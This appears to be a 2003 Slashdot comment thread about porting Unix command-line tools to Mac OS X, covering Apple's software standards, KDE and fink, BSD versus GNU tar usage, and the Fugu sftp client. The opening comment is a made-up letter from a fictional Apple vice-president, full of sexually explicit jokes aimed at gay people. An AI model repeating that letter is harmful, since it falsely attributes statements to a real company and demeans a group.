Thanks for your letter. Being Catholic myself, I know exactly what you're talking about! It has always been our plan here at Apple Computer Inc to revolutionize personal computing with our high-quality and highly gay products.
I'm happy to answer your letter by letting you know that YES we will be releasing an entire hLife ("homo-life") software line. You'll be able to recognize it in stores by the small stylized logo depicting a large cock entering a tight anus with an Apple logo on it. ("Suddenly it all comes together" indeed!).
Anyway, I hope you and other members of our community will join us on our mission, and purchase the exciting new hLife boxed set. Only the boxed set comes with translucent cock rings!
Sincerely,
Harry Rodman
Vice-president
Homosexual Liaison Services
Apple Computer, Inc.
Porting issues by The+Herbaliser · 2003-05-09 19:19 · Score: 2, Insightful

Have you noticed that Apple tends to only include highly-polished software? There's a reason they built their own KHTML based browser, rather than just porting Konqueror. They have really high standards for the usability of their software, so any non-command-line tool would need to be entirely redesigned to fit their standards, which introduces a lot of work.

Even for command-line programs, once Apple releases something themselves, they implicitly take responsibility for it. If they start doing half-assed ports, then their whole "it just worked" thing goes down the tubes because if their stuff doesn't work, people will hold it against them. They'd probably have to carefully QA every port they did in extensive detail, and that would be expensive. Then there's technical support, maintaining the ports, etc.

There's lots of stuff I'd like to see built into darwin, but I can understand why it isn't really their priority. As has been pointed out, most people who need additional command-line tools can get them themselves and I think apple would rather put their energy into making the tools they do have easier to use by building helpful GUI front-ends for those of us who either don't know how to use unix well, or just find it a lot less enjoyable.
Another approach by The+Herbaliser · 2003-05-09 19:29 · Score: 1

I really like running KDE on OSX. They work pretty well together, provided you've got the dock set on "autohide". With fink and KDE, I get everything I could ever want from Linux, everything I need from OSX, nothing runs in emulation, and I only have a single kernel. I think it's a pretty good solution.
Darwin/x86 by ZigMonty · 2003-05-09 22:38 · Score: 1

Umm... maybe because Darwin exists for x86 as well?
Mac OS X is still PPC only, of course.
GNU? by TheRaven64 · 2003-05-09 22:51 · Score: 2, Funny

So, the article title is 'Porting Unix Command-Line Tools to Mac OS X', and everyone talks about porting GNU tools to Mac OS X. I thought that the whole point was that GNU's Not Unix?
Not to moderators: It's a Joke. Laugh.

--
I am TheRaven on Soylent News
Simple example by hobbit · 2003-05-10 01:06 · Score: 1

of why BSD tools are more complex through fewer options:

BSD:
gunzip -c filename.tar.gz | tar -xf -
GNU:
tar xzf filename.tar.gz

--
"Wise men talk because they have something to say; fools, because they have to say something" - Plato
1. Re:Simple example by jsmith38 · 2003-05-10 07:14 · Score: 1
  
  Here is the OS X if you have stuffit installed
  which it does by default.
  
  OS X:
  
  unstuff filename.tar.gz
2. Re:Simple example by MrTangent · 2003-05-11 14:40 · Score: 1
  
  Here is the even easier way to do it in OS X if you have StuffIt installed: Doubleclick. :D
Fugu by The+Herbaliser · 2003-05-10 02:06 · Score: 1

For school, I have to use sftp and I recently discovered Fugu, which is an open-source frontend for it. It's by far the best ftp program I've ever used. So simple, yet so effective.
in the future... by Anonymous Coward · 2003-05-10 15:34 · Score: 0

Won't it be funny when people try to hang onto 9 instead of moving to X. Hacking things to make it boot on 2005 systems...

upgrade!!!
What're ya smokin? by FredFnord · 2003-05-12 05:57 · Score: 1

I use these regularly, both on my main machine and on the router/firewall/server machine with dual ethernet ports and so forth. Never seen a seg fault.

Perhaps you have an UNUSUAL problem and haven't bothered to report it to Apple, and therefore they haven't seen it?

Sheesh.

-fred

--
Sign #11 of Slashdot overdose: You see the phrase 'moderate Republican' and you wonder if that would be a +1 or a -1.